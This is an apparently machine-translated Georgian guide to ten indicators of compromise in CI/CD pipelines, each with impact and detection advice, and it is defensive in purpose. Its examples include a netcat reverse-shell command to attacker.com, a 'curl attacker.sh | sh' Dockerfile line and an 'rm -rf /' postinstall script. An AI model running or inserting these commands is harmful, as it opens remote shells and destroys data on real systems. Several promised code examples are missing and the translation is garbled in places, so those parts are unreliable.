შესავალი: რა არის კომპრომისის ინდიკატორები კიბერუსაფრთხოებაში?
კომპრომეტირების ინდიკატორები პირველი გამაფრთხილებელი ნიშნებია იმისა, რომ თქვენი სისტემა ან pipeline შესაძლოა თავდასხმის ქვეშ იმყოფებოდეს. მარტივად რომ ვთქვათ, კომპრომისის მაჩვენებლები თავდამსხმელების მიერ დატოვებული კვალი, მაგალითად უცნაური logins, ფაილის ცვლილებები ან ფარული მავნე პროგრამა. In IOC-ის კიბერუსაფრთხოებაისინი დანაშაულის ადგილზე თითის ანაბეჭდების მსგავსად მოქმედებენ, რაც ნათელ მტკიცებულებას გაძლევთ, რომ რაღაც რიგზე არ არის. ამიტომ, როდესაც დეველოპერები გკითხავენ რა არის კომპრომისის ნიშნებიპასუხი არ შემოიფარგლება მხოლოდ სერვერებით ან firewall-ებით, ის ასევე მოიცავს თანამედროვე სამყაროში დაფარულ რისკებს. CI/CD pipelines.
ამ pipelineს, თავდამსხმელებს შეუძლიათ კოდის გაყალბება, მავნე დამოკიდებულებების შეყვანა ან შექმნის ეტაპების შეცვლა შეუმჩნევლად. თუმცა, სახელმძღვანელოების უმეტესობა კვლავ მხოლოდ სერვერებზე ან ქსელებზეა ორიენტირებული. შედეგად, პროგრამული უზრუნველყოფის მიწოდების ჯაჭვი ერთ-ერთ ყველაზე მარტივ სამიზნედ იქცა.
სწორედ ამიტომ, კომპრომისის ნიშნების პოვნა CI/CD pipelines აუცილებელია. უპირველეს ყოვლისა, ის გუნდებს ეხმარება მავნე პროგრამების დაბლოკვაში, საიდუმლოებების დაცვასა და პროგრამული უზრუნველყოფის მიწოდების ყოველი ეტაპის უსაფრთხოებაში.
კომპრომისის 10 მთავარი ინდიკატორი CI/CD Pipelines
კომპრომეტირების ინდიკატორების ახსნისას, სიების უმეტესობა სერვერებზე ან ქსელებზეა ორიენტირებული. თუმცა, CI/CD pipelineთავდამსხმელები სრულიად განსხვავებულ ანაბეჭდებს ტოვებენ. ამ სიგნალების ამოცნობა პროაქტიული დაცვისთვის უმნიშვნელოვანესია. ქვემოთ მოცემულია IOC-ის კიბერუსაფრთხოების 10 წითელი დროშა, რომლებსაც ყველა დეველოპერმა და უსაფრთხოების ინჟინერმა ყურადღება უნდა მიაქციოს.
1. საეჭვო დამოკიდებულების ცვლილებები
კომპრომისის ერთ-ერთი მთავარი მაჩვენებელი pipelines არის უეცარი, უცნაური დამოკიდებულების განახლება. თავდამსხმელები ხშირად იყენებენ პაკეტების მენეჯერებში დეველოპერების მიერ დაფუძნებულ ნდობას საშიში პაკეტების დასამატებლად.
მაგალითად, npm-ში a package.json განსხვავება შეიძლება მოულოდნელად მოიცავდეს:
ასეთი ცვლილებები შეიძლება უსაფრთხოდ გამოიყურებოდეს, მაგრამ მათ შეუძლიათ ტროიანიზებული კოდის ინექცია ყველა ბილდში.
გავლენა: კომპრომეტირებული ბილდები წყაროდანვე მემკვიდრეობით იღებენ მავნე პროგრამულ უზრუნველყოფას.
გამოვლენა: დამოკიდებულებების მიმოხილვების აღსრულება, ფაილების დაბლოკვის განსხვავებების თვალყურის დევნება და ახალი პაკეტების მუდმივად სკანირება.
2. დაბნეული კოდი ბილდებში
მავნე პროგრამების ავტორები მიმოხილვების გვერდის ავლის მიზნით დაბინდვას იყენებენ. შედეგად, კომპრომეტირების ეს მაჩვენებელი CI/CD pipelines-ის დაჭერა შეიძლება ერთ-ერთი ყველაზე რთული იყოს. სინამდვილეში, დაბნეული ფაილები ხშირად წინასწარი შეტყობინების გარეშე ხვდება ღია კოდის ბიბლიოთეკებში ან კონტეინერის სურათებში.
მაგალითად:
- PyPI პაკეტი, რომელიც იყენებს
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Docker-ის იმიჯი, რომელიც სავსეა არასაჭირო UPX ბინარული ფაილებით.
- JavaScript სავსეა
\x41\x42დამალული რწმუნებათა სიგელების მომპარველებისგან გაურბის.
გავლენა: დამალული კოდი ჩუმად სრულდება შექმნის ან გაშვების დროს, რაც მას IOC კიბერუსაფრთხოების კრიტიკულ სიგნალად აქცევს.
გამოვლენა: შეუთავსეთ SAST მავნე პროგრამების სკანირებით კოდირებული ან შეფუთული კოდის მონიშვნის მიზნით. უპირველეს ყოვლისა, დაბნეულობა უნდა განიხილოთ, როგორც საეჭვო ნიშანი, რომელიც შემდგომ გამოძიებას იმსახურებს.
3. Git-ში გამოვლენილი საიდუმლოებები: IOC-ის კლასიკური კიბერუსაფრთხოების რისკი
CI/CD pipelineხშირად საიდუმლოებებს პირდაპირ საცავებიდან იღებენ მემკვიდრეობით. თუმცა, როდესაც საიდუმლოებები Git-ში ჩნდება, ისინი ერთ-ერთი ყველაზე ნათელი პასუხია კითხვაზე „რა არის კომპრომისის ინდიკატორები?“ pipelines?“ როგორც კი ავტორიზაციის მონაცემები Git-ში მოხვდება, თავდამსხმელებს მათი განუსაზღვრელი ვადით გამოყენება შეუძლიათ.
მაგალითად:
- A
.envფაილი, რომელიც შეიცავსAWS_SECRET_KEY=. - ჟეტონები შემოვიდა
config.json. - საიდუმლოებები კვლავ ჩანს Git-ის ისტორიაში წაშლის შემდეგაც კი.
გავლენა: ღია გასაღებები თავდამსხმელებს პირდაპირ წვდომას აძლევს CI/CD pipelines, ღრუბლოვანი სისტემები ან მონაცემთა ბაზები. ამიტომ, ეს კომპრომეტირების ერთ-ერთი ყველაზე საშიში ინდიკატორია.
გამოვლენა: გამოყენება pre-commit hooks და CI დავალებები საიდუმლო სკანირებისთვის და გაჟონილი გასაღებების დაუყოვნებლივ გაუქმება. გარდა ამისა, ამოქმედეთ ავტომატური გამოსწორება ექსპოზიციის ფანჯრების შესამცირებლად.
4. გაყალბებული Pipeline კონფიგურაციები: კომპრომეტირების ფარული ინდიკატორები
Pipeline კონფიგურაციები მაღალი ღირებულების სამიზნეებია, რადგან ერთი მოდიფიკაცია ხშირად მთელ სამუშაო პროცესს არღვევსშესაბამისად, გაყალბებული pipeline ფაილები IOC-ის კიბერუსაფრთხოების მთავარ რისკს წარმოადგენს, რომელსაც ტრადიციული მონიტორინგის ინსტრუმენტები იშვიათად აფიქსირებენ.
მაგალითად:
GitHub-ის მოქმედებები:
- GitLab-ში: დაემატა მავნე დავალება
.gitlab-ci.ymlრომელიც მგრძნობიარე მონაცემებს აფუჭებს. - ჯენკინსში:
sh "nc -e /bin/bash attacker.com 4444".
გავლენა: ეს დაუმტკიცებელი ცვლილებები თქვენს pipeline თავდამსხმელებისთვის მუდმივ უკანა კარად, რაც აშკარად კომპრომეტირების ინდიკატორად ითვლება.
გამოვლენა: ხელმოწერილი კონფიგურაციების აღსრულება, PR დამტკიცებების მოთხოვნა და მოულოდნელი დავალებების მონიტორინგი. გარდა ამისა, დააყენეთ guardrails რომლებიც ავტომატურად ბლოკავენ შეცვლილ სამუშაო პროცესებს.
5. პრივილეგირებული IaC ნაგულისხმევი
ინფრასტრუქტურის არასწორად კონფიგურირებული განმარტებები ხშირად ქმნის ფარულ უკანა კარებს. შედეგად, პრივილეგირებული ნაგულისხმევი პარამეტრები IaC წარმოადგენს IOC-ის კიბერუსაფრთხოების კლასიკურ რისკს.
მაგალითად:
- Kubernetes-ის განლაგება პოდების მინიჭებას ახდენს
privileged: true. - Helm-ის ჩარტები, რომლებიც ამჟღავნებენ მომსახურებას
0.0.0.0:22.
გავლენა: თავდამსხმელები root დონის წვდომას მოიპოვებენ ან შიდა სერვისებს საჯაროდ ამჟღავნებენ. შესაბამისად, ეს პრობლემები მნიშვნელოვნად აფართოებს შეტევის ზედაპირს.
გამოვლენა: მიმართვა IaC შერწყმამდე მინიმალური პრივილეგიების აღსასრულებლად სკანირება. გარდა ამისა, დარწმუნდით, რომ ყველა კონფიგურაცია განიხილება, როგორც ნაწილი pipeline.
6. უჩვეულო კონსტრუქციის ქცევები
თავდამსხმელები ხშირად იცვლებიან pipeline ქცევა, რომელიც მავნე ქმედებებში გადაიზრდება. სხვა სიტყვებით რომ ვთქვათ, უჩვეულო აშენების აქტივობა ერთ-ერთი ყველაზე ნათელი პასუხია იმაზე, თუ რა არის კომპრომეტირების მაჩვენებლები CI/CD pipelines.
მაგალითად:
- აშენებს გამავალი ქსელის მოთხოვნებს უცნაურ დომენებზე.
- Node.js პროექტის დროს მოულოდნელად PowerShell-ის გაჩენა მოხდა
npm install. - CI დავალება, რომელიც იტვირთება დიდი ბინარული ფაილებით, რომლებიც არ არის განსაზღვრული შექმნის სკრიპტებში.
გავლენა: კომპრომეტირებულ ბილდებს შეუძლიათ მავნე პროგრამების გავრცელების წერტილების როლის შესრულება. უპირველეს ყოვლისა, ისინი მავნე დატვირთვას ავრცელებენ ყველა განლაგებაზე.
გამოვლენა: მოულოდნელი პროცესების ან კავშირების აწყობის ჟურნალების მონიტორინგი. გარდა ამისა, ანომალიების აღმოჩენის კონფიგურაცია ნორმის მიღმა ქცევის აღსანიშნავად.
7. მავნე პაკეტის სკრიპტები, როგორც IOC-ის კიბერუსაფრთხოების რისკები
პაკეტის მენეჯერები მხარს უჭერენ სასიცოცხლო ციკლს hooks რომლებსაც თავდამსხმელები იყენებენ. ამიტომ, npm-ში, PyPI-ში ან Dockerfiles-ში არსებული მავნე სკრიპტები კომპრომეტირების ძლიერი ინდიკატორებია.
მაგალითად:
- npm:
postinstallსკრიპტი მუშაობსrm -rf /ან C2-ისთვის შუქნიშნის გაგზავნა. - PyPI:
setup.pyინსტალაციისას ფარული Python კოდის შესრულება. - დოკერფაილი:
RUN curl attacker.sh | sh.
გავლენა: შეტევა ხორციელდება ინსტალაციის დროს, ნებისმიერი გაშვების ტესტირების დაწყებამდე. შესაბამისად, დეველოპერებმა შეიძლება ვერ შეამჩნიონ ეს მანამ, სანამ ძალიან გვიან არ იქნება.
გამოვლენა: ინსტალაციის სკრიპტების აღმოსაჩენად პაკეტის მანიფესტების სკანირება. გარდა ამისა, შეზღუდეთ სარისკო hooks in CI/CD სამუშაოები ექსპოზიციის შესამცირებლად.
8. რეესტრის მოწამვლის კომპრომეტირების ინდიკატორები
თავდამსხმელები რეესტრებში არტეფაქტებს ცვლიან ან ცვლიან და ეს მოვლენები მიწოდების ჯაჭვში კომპრომეტირების ინდიკატორების სახელმძღვანელო მაგალითებია. pipelines.
მაგალითად:
- Docker-ის გამოსახულების თეგი ჩუმად განახლდა ტროიანიზებული ფენით.
- შიდა შეფუთვა შეიცვალა მოწამლული ვერსიით.
- npm სახელთა სივრცის ჩაკეტვა, მაგალითად
lodash-proxy.
გავლენა: რეესტრის არტეფაქტის გამოყენებით ყველა აწყობა კომპრომეტირებული ხდება. არა მხოლოდ ეს, არამედ კომპრომეტირება ვრცელდება ქვედა დონის სერვისებზე.
გამოვლენა: ხელმოწერისა და მთლიანობის შემოწმების განხორციელება ყველა რეესტრის ამონაწერზე. გარდა ამისა, არტეფაქტების წარმოშობის თვალყურის დევნება SBOM დადასტურება
9. მომხმარებლის ანომალიური აქტივობა, როგორც IOC-ის მტკიცებულება
კომპრომეტირებული ანგარიშები თითქმის ყოველთვის არანორმალურ კვალს ტოვებს. შესაბამისად, დეველოპერის უჩვეულო ქცევა კომპრომეტირების ძლიერი მაჩვენებელია.
მაგალითად:
- Commitადგილობრივი დროით დილის 3 საათზე გადაიდო.
- შვებულებაში მყოფი ანგარიშების მიერ PR დამტკიცებები.
- Pipelines უჩვეულო სიხშირით აქტიურდება.
გავლენა: თავდამსხმელები ბოროტად იყენებენ მოპარულ ავტორიზაციის მონაცემებს მავნე ცვლილებების ჩასასმელად. ბოლოს და ბოლოს, არაავტორიზებული commits ადვილად ერწყმის ჩვეულებრივ სამუშაო პროცესებს.
გამოვლენა: მონიტორის SCM ანომალიების აღმოსაჩენად აქტივობის აღსრულება, MFA-ს აღსრულება და ტოკენების რეგულარული როტაცია. გარდა ამისა, საეჭვო შემთხვევების შემთხვევაში გაფრთხილება commit ან დამტკიცების ნიმუშები.
10. IOC-ის კიბერუსაფრთხოების მთლიანობის ან ხელმოწერის შემოწმების წარუმატებლობა
გავრცელებული, მაგრამ იგნორირებული კომპრომისის მაჩვენებელი არის მთლიანობის ან ხელმოწერის წარუმატებელი შემოწმება. IOC-ის კიბერუსაფრთხოების სფეროში, ეს შემოწმებები ადასტურებს კოდის ან არტეფაქტების ავთენტურობას. მათი გამოტოვება ტოვებს pipelineგამოაშკარავებულია.
მაგალითები:
- SHA256 ჰეში არ ემთხვევა მოსალოდნელ ჩეკსუმს.
- დაკარგული ან არასწორი GPG ხელმოწერა.
- An SBOM ხელმოუწერელი არტეფაქტების ჩვენება.
გავლენა: მთლიანობის დარღვევები ხშირად გულისხმობს სისტემის გაყალბებას, რეესტრის მოწამვლას ან მავნე პროგრამების ინექციას.
გამოვლენა: ხელმოწერის შემოწმების ავტომატიზაცია, ჩეკის ჯამის ვალიდაციის აღსრულება და ხელმოუწერელი კომპონენტების დაბლოკვა. უპირველეს ყოვლისა, ყველა წარუმატებელი შემოწმება ჩათვალეთ კომპრომეტირების აშკარა მტკიცებულებად.
CI/CD კომპრომისის ინდიკატორები ერთი შეხედვით
| კომპრომისის ინდიკატორი (IOC) | გავლენა CI/CD Pipelines | როგორ ამოვიცნოთ |
|---|---|---|
| საეჭვო დამოკიდებულების ცვლილებები | თავდამსხმელები პაკეტების მენეჯერებში მავნე ბიბლიოთეკებს ათავსებენ, რაც კომპრომეტირებულ ბილდებს იწვევს. | დაბლოკილი ფაილების განსხვავებების თვალყურის დევნება, დამოკიდებულებების მიმოხილვების აღსრულება და დამოკიდებულებების უწყვეტი სკანირება. |
| დაბნეული კოდი ბილდებში | დამალული დატვირთვები სრულდება აწყობის ან გაშვების დროს აღმოჩენის გარეშე. | გამოყენება SAST და მავნე პროგრამების სკანირება base64, hex ან შეფუთული კოდის შაბლონების აღსანიშნავად. |
| Git-ში გამოვლენილი საიდუმლოებები | გაჟონილი ტოკენები ან API გასაღებები თავდამსხმელებს კრიტიკულ სისტემებზე პირდაპირ წვდომას აძლევს. | საიდუმლო სკანირების გაშვება Git-ში hooks და ავტომატურად გააუქმოს გაჟონილი ავტორიზაციის მონაცემები. |
| გაყალბებული Pipeline კონფიგურაციები | მოდიფიცირებული სამუშაო პროცესები საშუალებას იძლევა მონაცემების ექსფილტრაცია ან შიგნით შენარჩუნება CI/CD. | PR-ის დამტკიცებების მოთხოვნა, ხელმოწერილი კონფიგურაციების აღსრულება და მონიტორინგი pipeline ცვლილებები. |
| პრივილეგირებული IaC ნაგულისხმევი | ზედმეტად ნებადართული როლები ან დაუცველი ნაგულისხმევი პარამეტრები ღრუბლოვან გარემოს აზიანებს. | მინიმალური პრივილეგიების აღსრულებისთვის, დაასკანირეთ Terraform, Kubernetes და Helm ფაილები. |
| უჩვეულო კონსტრუქციის ქცევები | Pipelineგამოიყენება მავნე პროგრამების გავრცელების წერტილებად ან გვერდითი მოძრაობისთვის. | გააანალიზეთ შექმნის ჟურნალები მოულოდნელი ჩამოტვირთვების, პროცესების ან გამავალი ზარების აღმოსაჩენად. |
| მავნე პაკეტის სკრიპტები | დამალული წინასწარი/ინსტალაციის შემდგომი სკრიპტები ააქტიურებენ დატვირთვას გაშვების დროს ტესტირებამდე. | სარისკო npm/PyPI სკრიპტების დაბლოკვა და შესრულების შეზღუდვა CI/CD სამუშაო ადგილები. |
| რეესტრის მოწამვლა | ტროიანიზებული არტეფაქტები რეესტრებში სანდო სურათებს ან ბინარულ ფაილებს ცვლის. | გადაამოწმეთ საკონტროლო ჯამები, გაააქტიურეთ ხელმოწერის ვალიდაცია და პროაქტიულად დაასკანირეთ რეესტრები. |
| ანომალიური მომხმარებლის აქტივობა | კომპრომეტირებული ანგარიშები მავნე პროგრამებს ავრცელებენ commits ან ტრიგერი pipelines. | MFA-ს აღსრულება, მონიტორინგი commitანომალიებისთვის და ანალიზი login ნიმუშები. |
| წარუმატებელი მთლიანობის ან ხელმოწერის შემოწმება | მიუთითებს შეცვლილ კოდზე, დამოკიდებულებებზე ან სურათებზე, რომლებიც შედის pipeline. | მთლიანობის შემოწმების ავტომატიზაცია და ხელმოუწერელი ან შეუსაბამო კომპონენტების დაბლოკვა. |
რატომ ვერ ახერხებს ტრადიციული IOC კიბერუსაფრთხოება CI/CD რისკები
ორგანიზაციების უმეტესობა უკვე აკონტროლებს სერვერების, კომპიუტერების ან ქსელების კომპრომეტირების ინდიკატორებს. თუმცა, IOC-ის კიბერუსაფრთხოების ეს კლასიკური მიდგომა უგულებელყოფს... CI/CD pipelines, რომლებიც ამჟამად ერთ-ერთი ყველაზე კრიტიკული შეტევის ზედაპირია. სინამდვილეში, pipelines აჩვენებენ უნიკალურ კომპრომეტირების სიგნალებს, რომელთა აღმოჩენა ტრადიციულ ინსტრუმენტებს არ შეუძლიათ.
ტრადიციულ უსაფრთხოებაში კომპრომისის ინდიკატორები
ტრადიციული IOC კიბერუსაფრთხოების სფეროში, ყურადღება, როგორც წესი, შემდეგზეა გამახვილებული:
- არაჩვეულებრივი logins ან IP მისამართები, რომლებიც მოპარულ ავტორიზაციის მონაცემებზე მიუთითებს.
- საეჭვო ფაილის ჰეშები ან რეესტრის ცვლილებები, რომლებიც მავნე პროგრამას ავლენს.
- მოულოდნელი გამავალი ტრაფიკი, რომელიც მონაცემთა გაჟონვაზე მიუთითებს.
ეს არის ცნობილი ინდიკატორები, რომლებიც ასევე თვალყურს ადევნებენ MITER ATT&CK ჩარჩო, რომელიც ასახავს მოწინააღმდეგის საერთო ქცევებსა და ტაქტიკას. ეს სასარგებლო სიგნალებია. თუმცა, ისინი ძირითადად ოპერაციულ სისტემებს ან კორპორატიულ ქსელებს ეხება. შედეგად, ისინი ვერ ამჩნევენ პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის ადრეულ ეტაპზე მომხდარ დახვეწილ ჩარევას.
რატომ CI/CD Pipelines განსხვავებულები არიან
CI/CD pipelines არის ავტომატიზირებული გარემო, სადაც დეველოპერები commit კოდი, pull dependencies და release builds. თავდამსხმელებმა იციან, რომ ერთი კომპრომისი ყველა განლაგებაზე ვრცელდება. შესაბამისად, რა არის კომპრომისის ინდიკატორები CI/CD pipelineს? ისინი ძალიან განსხვავებულად გამოიყურებიან:
- მავნე დამოკიდებულება ჩუმად დაემატა package.json-ს ან requirements.txt-ს.
- Git-ში გამოვლენილი API გასაღებები ან ტოკენები commits ან .env ფაილები.
- npm ან PyPI პაკეტებში შეყვანილი დაბნეული კოდი.
- Terraform-ის ან Kubernetes-ის ფაილები დაუცველი ნაგულისხმევი პარამეტრებით, როგორიცაა privilege: true.
- Pipeline სამუშაოები რედაქტირებულია მონაცემების ამოსაღებად ან „უკანა კარების“ გასახსნელად.
ეს კომპრომისის სიგნალები CI/CD უხილავი დარჩეს standard უსაფრთხოების ინსტრუმენტები.
IOC-ის კიბერუსაფრთხოების ხარვეზი
მიუხედავად იმისა, რომ ბევრი გუნდი ესმის კომპრომეტირების ინდიკატორების მნიშვნელობა, ისინი მაინც მხოლოდ სერვერებიდან და ქსელის ჟურნალებიდან აღმოჩენას ეყრდნობიან. ამიტომ, თავდამსხმელებს შეუძლიათ ბილდების მოწამვლა ან მავნე პროგრამების ჩასმა ჩვეულებრივი კვალის დატოვების გარეშე. სწორედ ამიტომ, ისეთი ინციდენტები, როგორიცაა XZ Utils-ის უკანა კარი ან მავნე npm პაკეტები, შეუმჩნეველი რჩებოდა წარმოებამდე.
მიწოდების ჯაჭვის ამ ტიპის კომპრომისები ასევე ხაზგასმულია შემდეგით: CISA-ს მიწოდების ჯაჭვის უსაფრთხოების სახელმძღვანელო, რომელიც აფრთხილებს, რომ თავდამსხმელები სულ უფრო ხშირად ისვრიან CI/CD pipelineდა რეესტრები.
Takeaway
ტრადიციული IOC კიბერუსაფრთხოება აუცილებელია, მაგრამ არასაკმარისი. უპირველეს ყოვლისა, გუნდებმა უნდა ამოიცნონ კომპრომეტირების ინდიკატორები, რომლებიც სპეციფიკურია... CI/CD pipelineმხოლოდ ამის შემდეგ შეუძლიათ მავნე კოდის ან pipeline ბოროტად გამოყენება მანამ, სანამ ის გარემოში გავრცელდება.





